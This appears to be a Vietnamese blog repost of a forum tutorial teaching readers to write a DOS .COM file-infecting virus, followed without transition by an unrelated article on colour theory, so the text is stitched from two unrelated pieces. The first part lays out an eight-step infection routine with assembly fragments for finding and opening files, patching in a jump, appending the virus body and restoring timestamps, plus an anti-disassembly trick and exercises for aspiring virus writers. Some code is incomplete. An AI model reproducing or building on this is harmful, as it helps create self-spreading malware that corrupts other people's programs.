Tìm được thêm một bài viết nữa ở diễn đàn HVAOnline, đưa vào blog làm tài liệu
-------------------------------------------------------------------------------------------
Tác giả: spinx
Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ cắt ngắn chương trình đào tạo. Chúng ta sẽ phân tích nhanh một VR file COM trên DOS để lấy khái niệm rồi bài sau sẽ đi vào VR trên win và unix luôn. Sau các bài này khi các bạn đã tự thực hành và trở thành VXer, các bạn nào muốn nâng cao trình độ có thể thảo luận về các kỹ thuật nâng cao trong bài Kỹ thuật lập trình VR của tôi.
Như ta đã phân tích ở bài trước, VR COM sẽ làm thao tác nối (append) chính nó vào chương trình của nạn nhân. Yêu cầu của VR là nắm quyền kiểm soát trước khi chương trình gốc chạy. Chính vì vậy VR sẽ thay đổi code ở đầu chương trình gốc để tạo một lệnh nhảy xuống đoạn mã VR mới nối thêm. Sau khi VR chạy xong, đoạn mã gốc sẽ được phục hồi VR sẽ trả lại quyền điều khiển để chương trình gốc có thể chạy bình thường. Chính vì vậy nạn nhân vẫn có thể ung dung hút thuốc làm việc bình thường mà không biết máy tính đã nhiễm VR.
Hình vẽ sau mô tả hoạt động của một VR. Tôi rất muỗn đưa ra nhiều hình vẽ minh hoạ nhưng không biết làm thế nào, các bạn xem tạm vậy.
. . . . . . . . . . . . . . . . . . . . . |Jump VR|
------------. . ---------. . . . . . ---------
| File. . . | + |Virus. | ===>|File. . |
-----------. . ----------. . . . . ---------
. . . . . . . . . . . . . . . . . . . . . |Virus. |
Tất nhiên các bạn có thể dễ dàng nhận ra có cách khác là đẩy chương trình gốc ra sau VR theo dạng
------------. . ---------. . . . . . ---------
| File. . . | + |Virus. | ===>|Virus. |
-----------. . ----------. . . . . ---------
. . . . . . . . . . . . . . . . . . . . . |File. . |
Tuy nhiên cách này thường không được sử dụng vì chạy chậm hơn nhiều. Tổng kết khái niệm ở đây chỉ còn là: VR và tệp tin sau khi lây nhiễm sẽ được hợp làm một, VR nắm quyền điều khiển chương trình và được chạy trước, chương trình gốc sẽ được trả lại nguyên vẹn và chạy sau khi VR kết thúc. Dựa trên nguyên tắc này các cách đã trình bày là phương pháp cơ bản còn thực ra các bạn có thể sáng tạo tuỳ theo ý mình để đạt được mục đích.
Sơ đồ sau là diễn giải một tệp .COM trước và sau khi lây nhiễm:
Bat dau ct |-------------------|. . . . . |----------------------|
. . . . . . . . | Ma dau ct cu. |--|. . . | Ma jump cho VR |--|
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . |---->| Ma dau ct cu. . . |. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |<-|
. . . . . . . . . . . . . . . . . . . . . . . . . . |. Ma VR. . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|
Thao tác lây nhiễm của một VR .com là
1. Mở file .com
2. Lưu ngày giờ tạo file
3. Lưu các bytes đầu CT gốc (thường là 3)
4. Tính lệnh nhảy tới VR (cuối CT)
5. Ghi lệnh nhảy đè lênh các bytes đầu
6. Nối VR vào cuối CT gốc
7. Phục hồi lại ngày giờ tạo file
8. Đóng file
Vậy những gì ta sẽ phải làm khi VR nắm quyền điều khiển? Tất nhiên là tìm kiếm các tệp .com chưa lây nhiễm ở xung quanh và bắt đầu lây nhiễm
Thực hành:
Bắt đầu một VR đơn giản:
.model tiny
.code
org 0100h
jump_to_VR:
db 0E9h,0,0 ; jmp start
start:
call get_addr
db 0b8h ;<== đánh lạc hướng disassembler (xem bài Kỹ thuật lập trình VR)
get_addr:
pop bp
Như vậy ta đã có một khởi đầu của VR. Đối với VR thường trú đây là lúc ta ém quân lên bộ nhớ bẫy ngắt và chờ đợi. Với một VR không thường trú bây giờ sẽ là thao tác ta tìm kiếm các tệp *.com để lây lan. Tôi giả định bạn là người lạp trình ASM cơ bản có nghĩa là có thể sử dụng các ngắt của dos. Vậy thì thao tác tìm kiếm các tệp đuôi *.com trong thư mục chẳng có gì khó phải không. Tôi gơi ý dùng hàm 47h ngắt 21h, hàm 4Eh ngắt 21h (find first), hàm 4Fh ngắt 21h (find next) để tìm kiếm.
Chú ý vì VR của ta được nối vào cuối một chương trình khác nên các offset sẽ bị đảo lộn hết. Không nên dùng các offset tuyệt đối mà chỉ sử dụng tương đối qua thanh ghi bp. Ở đoạn ví dụ trên, ta có trong thanh bp giá trị offset của nhãn get_addr như vậy muốn lấy địa chỉ một biến xxx ta làm như sau:
get_addr:
pop bp
;.......
; Code Virus here
;.......
lea dx, [bp+offset COMmask-offset get_addr]
;....
xxx db “*.COM”,0
Sau khi có tên file .com, quy trình lây nhiễm 8 bước ở trên thì cũng không có gì phức tạp:
1. Mở file:
;offset tên file nạp vào ==> dx
mov ax, 3D02h ; Open R/O
int 21h
xchg ax, bx ; Handle in BX
2. Lấy ngày giờ tạo file
mov ax, 5700h ; get file time/date
int 21h
push cx
push dx
3. Đọc các bytes đầu
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer-offset get_addr]
int 21h
Các bạn có thể đặt vài ký hiệu trên đầu sau lệnh nhảy nhằm kiểm tra nếu tệp đã bị lây nhiễm thì không lây nhiễm lại.
4. Tính lệnh jmp đến cuối file
xor cx, cx
xor dx, dx
mov ax, 4202h
int 21h ;<== Lấy kích thước tệp
Với:
JmpCode:db 0E9h,00,00
Lúc này ta có thể ghi lệnh nhảy mới vào tệp .com bằng lệnh:
mov word ptr ds:[bp+offset JmpCode-Offset get_addr+1],ax ;Địa chỉ jmpcode + 1
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
mov ah,40h
mov dx,<địa chỉ jmpCode>
mov cx,4
int 21h
5. Nối VR vào cuối tệp
mov ah,40h
mov dx,<địa chỉ start>
mov cx,
int 21h
6. Phục hồi ngày giờ
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h
7. Đóng tệp
mov ah,3eh
int 21h
Đọc đám code này có thể bạn không hiểu, OK. Chỉ cần ghi nhớ là
1. Bạn sẽ dùng các lệnh đọc/ghi tệp ghi nội dung VR vào cuối chương trình gốc
2. Ghi lệnh nhảy gồm3 bytes E9h, <2> vào đầu ct gốc
Kết thúc quá trình lây lan, hãy move trả các bytes gốc trở về offset 100h và nhảy về đó
Đến đây ta kết thúc một VR .com không thường trú.
Câu hỏi và bài tập:
1. Tập viết một chương trình bằng ASM hiển thị tất cả các tệp *.com trong thư mục hiện hành và gốc c:\
2. Viết một chương trình nối một đoạn mã vào một tệp
3. Hãy nghiên cứu và trả lời các câu hỏi sau:
- Thông thường kích thước tối đa của một tệp .com trên dos là bao nhiêu
- Lệnh nhảy gần có mấy bytes và ý nghĩa từng byte
- Khoảng cách tối đa của một lệnh nhảy gần
Câu hỏi nâng cao:
- Di rời một đoạn mã máy từ vị trí này sang vị trí khác trên bộ nhớ sẽ có ảnh hưởng thế nào đến các lệnh nhảy và call
Nếu không có ai yêu cầu tôi sẽ bỏ qua các dạng VR khác và VR thường trú để giới thiệu về VR for win32 và các kỹ thuật nâng cao trong các bài sau
Nghệ thuật phối màu
Màu sắc luôn tác động đến cuộc sống của chúng ta.
Màu sắc là hiện tượng vật lý mà mắt chúng ta thấy được.
Màu sắc có ngôn ngữ riêng của nó mà chúng ta phải tự cảm nhận.
Màu sắc có sức mạnh làm tâm hồn chúng ta rung động.
Người ta có thể dùng nghệ thuật phối màu để nói lên ý tưởng của mình mà không cần đến lời nói hay câu văn.
Màu sắc ngoài cái đẹp trời cho còn có một chiều sâu kín đáo, chính cái điều kỳ diệu ấy làm rung động lòng người. Tất nhiên không phải lúc nào màu sắc cũng đẹp, không phải lúc nào màu sắc cũng hài hoà.
Vì vậy nghệ thuật phối màu sẽ bù đắp những khuyết điểm đó.
Phần I: Tóm tắt những khái niệm
1/ Màu dương tính:
Màu được tạo ra từ một nguồn sáng. Ví dụ: khi những màu cơ bản: Đỏ; Xanh lá cây và Xanh da trời phối hợp với nhau sẽ tạo ra màu trắng.
2/ Màu âm tính:
Là màu được xác định bởi sự hấp thu ánh sáng. Ví dụ: khi màu Xanh lục, Đỏ cánh sen và Vàng được phối hợp chúng sẽ tạo ra màu nâu đen.
Nếu bạn phối những màu dương tính cơ bản bạn sẽ được những màu âm tính cơ bản và ngược lại.
Hiểu được mối quan hệ đối nghịch này trong màu sắc rất cần thiết khi phải xác định và chỉnh sửa những trục trặc về màu sắc.
Ví dụ:
Nếu một hình ảnh quá xanh, bạn có 2 cách để tiếp cận vấn đề: Hoặc tăng thêm màu vàng vốn là màu đối nghịch với xanh da trời nhằm làm trung hoà màu xanh da trời. Hoặc giảm bớt màu xanh da trời trong hình ảnh. Cả 2 cách đều đi đến cùng một kết quả là giảm bớt được màu xanh.
3/ Vòng tròn màu căn bản (the color wheel)
Vòng tròn màu căn bản có 12 cung chia đều theo hình nan quạt trên diện tích hình tròn, mỗi cung có 8 cấp độ màu đi dần vào tâm vòng tròn từ đậm đến nhạt. 12 cung x 8 cấp độ sẽ tạo ra 106 màu căn bản và được đánh số từ 1 đến 106 đó cũng là kí hiệu khi ta chọn màu . Ví dụ: Số 1 là màu đỏ sậm nhất (C:0 – M:100 – Y:100 – K:45) số 36 là màu vàng tươi (C:0 – M:0 – Y:100 – K:0) số 84 (C:80 – M:100 – Y:0 – K:0) là màu tím rượu nếp than (híc nghe mà…thèm) số 68 (C:100 – M:60 – Y:0 – K:0) là màu xanh nước biển…
Vòng tròn màu căn bản được tạo ra từ 3 màu: Đỏ - Vàng - Lục lam. Từ ba màu này, màu sắc được pha lẫn hai màu với nhau ( ví dụ: Đỏ + Vàng = Da cam) rồi ba màu trộn lại với nhau, cứ thế ta sẽ có hơn 3.400 màu thông dụng nhất trong thiết kế đồ hoạ và nếu cứ pha , pha và pha trộn mãi bạn sẽ có hàng ty tỷ sắc màu cho…riêng bạn.
4/ Cách dùng màu:
• Cấp thứ nhất (Primary)
Dùng 3 màu: Đỏ - Vàng - Lục lam để phối ra các sắc độ màu khác nhau.
• Cấp thứ hai (Secondary)
Nếu lấy màu đỏ chồng lên màu vàng sẽ được màu da cam, lấy màu đỏ chồng lên lục lam sẽ có màu tím, lấy màu vàng chồng lên màu lục lam sẽ được màu xanh lá cây…
Cách lấy 2 màu chồng lên nhau để tạo ra màu khác như trên được gọi là màu chồng đơn.
• Cấp thứ ba (Tertiary)
Từ 3 màu căn bản: Đỏ - Vàng - Lục lam chúng ta đã phối ra màu da cam – xanh lá – tím. Nếu chồng các màu ở cấp Primary và Secondary, ta sẽ được các màu ở cấp Tertiary là: Đỏ cam – Vàng cam – Vàng xanh – Xanh lơ – Xanh tím và Đỏ tím.
5/ Cái này giờ mới biết:
Không có “cái gọi là” màu đen, màu xám hay màu trắng vì màu trắng chỉ là sắc độ giảm tối đa của một trong 12 màu trên vòng tròn màu, màu xám và đen chính là sắc độ tăng tối đa của những màu trên (quá xá là đúng)
6/ Trình tự phối màu:
• Bước 1:
Xác định rõ hiệu ứng màu sắc bạn muốn đạt được.(Hiệu ứng màu sẽ nói ở các phần sau của bài này)
• Bước 2:
Chọn 1 màu chính đặc trưng cho chủ đề muốn thể hiện.
• Bước 3:
Chọn 1 màu hỗ trợ cho màu chính. Để có thể tìm được màu hỗ trợ một cách nhanh chóng, bạn dùng 2 màu đối diện nhau trong vòng tròn màu căn bản.
Ví dụ:
Màu đỏ được chọn là màu chính thì màu hỗ trợ cho nó là màu xanh lá cây. Tương tự như vậy ta có các cặp màu chính và màu hỗ trợ như sau:
Màu Gạch cua – Xanh ve chai.
Da cam – Xanh dương.
Nghệ - Chàm.
Vàng – Tím.
Vàng xanh - Đỏ tím…
Màu chính và màu hỗ trợ có tính năng làm tăng nét rực rỡ, linh động và giúp nhau nổi bật lên.
Ví dụ:
Nếu ta đặt cánh hoa vàng trên phông nền tím, hoa vàng sẽ rực rỡ hơn nhờ màu tím làm nền đệm. Nhưng nếu cũng với cách thức ấy, dùng nền màu trắng hay xanh lá thì cánh hoa vàng không nổi bật được.
Nếu đặt mảng màu đỏ tươi cạnh màu xanh lá cây thì cũng có hiệu ứng tương tự.
• Bước 4:
Từ màu chính và màu phối hợp chọn ra màu thứ ba hài hoà với 2 màu trước.
Phần II: 07 SẮC CẦU VỒNG
Sắc độ hay tính chất của màu sắc gợi lên ít nhiều xúc động cho người xem. Người ta dùng nhiều từ khác nhau để mô tả đặc tính của màu sắc đơn và so sánh khi chúng phối hợp với nhau.
Tuy nhiên độ sáng và tối lại là điều cơ bản của việc tạo ra sắc độ. Nếu không có ánh sáng thì sẽ chẳng có màu sắc. Tất nhiên, ở trong bóng tối tất cả chỉ là màu đen. Ánh sáng mặt trời là chùm tia sáng có bước sóng khác nhau. Nếu ánh sáng mặt trời chiếu qua lăng kính thì sẽ tạo ra một dải màu. Trong thiên nhiên điều này được thể hiện qua cầu vồng 7 sắc.
Khi ánh sáng chiếu qua 1 vật, bề mặt của nó sẽ nhận bức xạ của bước sóng ánh sáng này và phản chiếu lại bức xạ của ánh sáng khác. Nếu mức hấp thụ bức xạ của các bước sóng đều nhau và mỗi thứ một chút thì chúng ta sẽ thấy vật ấy màu trắng. Ngược lại, nếu nó hấp thu toàn bộ bức xạ thì chúng ta sẽ thấy vật ấy màu đen.
Vậy màu sắc thấy được trên một sự vật là sự tổng hợp bức xạ ánh sáng mà bề mặt của nó phản chiếu.
Cùng một vật thể, nếu chụp hình ở dưới ánh sáng tự nhiên sẽ có sắc màu khác khi chụp dưới ánh sáng nhân tạo. Cũng vậy, khi soi một tờ in màu dưới ánh sáng tự nhiên thì màu sắc của hình ảnh sẽ khác khi soi tờ in dưới ánh sáng nhân tạo.
Màu sắc được phân thành 8 loại:
- Màu nóng (Hot)
- Màu lạnh (Cold)
- Màu ấm (Warm)
- Màu mát (Cool)
- Màu sáng (Light)
- Màu sậm (dark)
- Màu nhạt (Pale)
- Màu tươi (Bright)
Như đã nói ở phần đầu do không có hình minh hoạ giống như trong sách, nên các hình ảnh TNDH minh hoạ dưới đây có thể sẽ không phản ánh chính xác nội dung của từng màu. Một số màu chưa tìm được hình, mong các bạn xem nội dung và tìm kiếm giúp.
MÀU NÓNG
Màu nóng là màu đỏ bão hoà trên vòng tròn màu, đó là màu đỏ cờ được pha bởi màu magenta và yellow.
Màu nóng tự nó phản chiếu và lôi cuốn sự chú ý. Vì vậy màu đỏ thường dùng trong thiết kế khi muốn gây sự chú ý.
Màu nóng có ảnh hưởng mạnh mẽ, làm tác động đến không gian chung quanh nó.
MÀU LẠNH
Màu lạnh là mầu thuần xanh biển. Nó toả sáng và tươi sáng hẳn lên.
Màu lạnh làm chúng ta thấy mát như đang gần một tảng đá hay trên tuyết.
Màu lạnh làm người xem có cảm giác mát mẻ, nhẹ nhàng.
Màu lạnh có tính đối lập với màu nóng.
Khi chuyển dần từ màu nóng sang màu lạnh, chúng ta có cảm giác như đang đứng bên lò lửa được chuyển sang cạnh một tảng băng, thật dễ chịu (?!)
MÀU ẤM
Trong màu ấm luôn có sự hiện diện của màu đỏ.
Màu ấm được tạo ra do sự phối hợp giữa màu đỏ và màu vàng.
Tùy theo mức độ pha giữa màu đỏ và màu vàng mà chúng ta có những dạng màu ấm khác nhau.
Ví dụ: màu đỏ cam; màu cam; màu vàng cam …
Màu ấm như thân thiện, đón chào người xem.
Nhìn màu ấm giống như chúng ta đang ngắm cảnh đẹp của mặt trời bình minh hoặc hoàng hôn.
MÀU MÁT
Màu mát được tạo ra trên nền màu xanh.
Nó không giống như màu lạnh bởi vì được phối với màu vàng.
Một số dạng màu mát như : vàng xanh; xanh lá cây; lục lam…
Dạng màu xanh ngọc và xanh lá cây luôn có trong tự nhiên.
Màu mát làm chúng ta thấy nhẹ nhàng như đang trong mùa đâm chồi nẩy lộc của mùa xuân.
Màu mát luôn nhẹ nhàng, tươi mát và sâu lắng.
Màu mát giống như một thác nước làm dịu mắt người xem.
MÀU SÁNG
Màu sáng là màu của thủy tinh, của cây tùng lam.
Màu sáng có tính nhẹ nhàng trong sáng.
Màu sáng được tạo ra từ màu đỏ pha với lục lam đi kèm với vàng nhạt.
Tuy nhiên sắc thái màu phải trong. Khi độ trong của màu tăng thì mức độ thay đổi sắc độ màu giảm.
Màu sáng làm chúng ta thấy tâm hồn trở nên thoải mái, thư thái và buông lỏng.
Màu sáng giống như màn cửa sổ hé ra để ánh nắng ban mai lùa vào phòng.
MÀU SẬM
Màu sậm là màu chứa màu đen trong khi phối màu.
Màu sậm làm khoảng không gian như thu nhỏ lại và làm vật thể như nhỏ hơn.
Màu sậm làm tăng tính nghiêm trang, đứng đắn.
Thật vậy màu sậm ẩn khuất như khung cảnh của mùa thu và mùa đông ảm đạm.
Phối hợp giữa màu sáng và màu sậm sẽ gây nên một ấn tượng sâu sắc, mạnh mẽ. Nó tiêu biểu cho sự đối lập của tự nhiên, sự tương phản nhưng cần thiết giữa ngày và đêm.
MÀU NHẠT
Màu nhạt là màu tùng lam thật nhẹ.
Sắc màu nhợt nhạt, nó chứa ít nhất 65% màu trắng.
Màu nhạt tạo nên vẻ mềm mại, lãng mạn và lơ đãng.
Màu nhạt thường dùng như màu ngà, tùng lam sáng và hồng tối nhạt.
Màu nhạt tạo cho người xem một cảm giác như ngắm đám mây nhẹ trôi hoặc như nắng nhẹ ban mai hoặc êm đềm như một sáng mờ sương.
Vì màu nhạt là màu trang nhã nên thường được dùng trong trang trí nội thất.
MÀU TƯƠI
Màu tươi là tổng hợp tinh khiết của màu sắc.
Sự tươi thắm của màu sắc được tạo ra bằng cách bỏ qua thang xám và đen.
Trong màu tươi chứa các sắc màu xanh; đỏ; vàng và cam.
Màu tươi chói lọi và sặc sỡ, nó gây nên sự chú ý.
Một chiếc xe màu vàng tươi, một chùm bong bóng rực rỡ hoặc cái mũi tươi thắm của chú hề … là những sắc màu không bao giờ bị quên lãng.
Màu sắc tươi tạo ra nét phấn khởi, vui tươi luôn được ngành thời trang và quảng cáo chú ý.

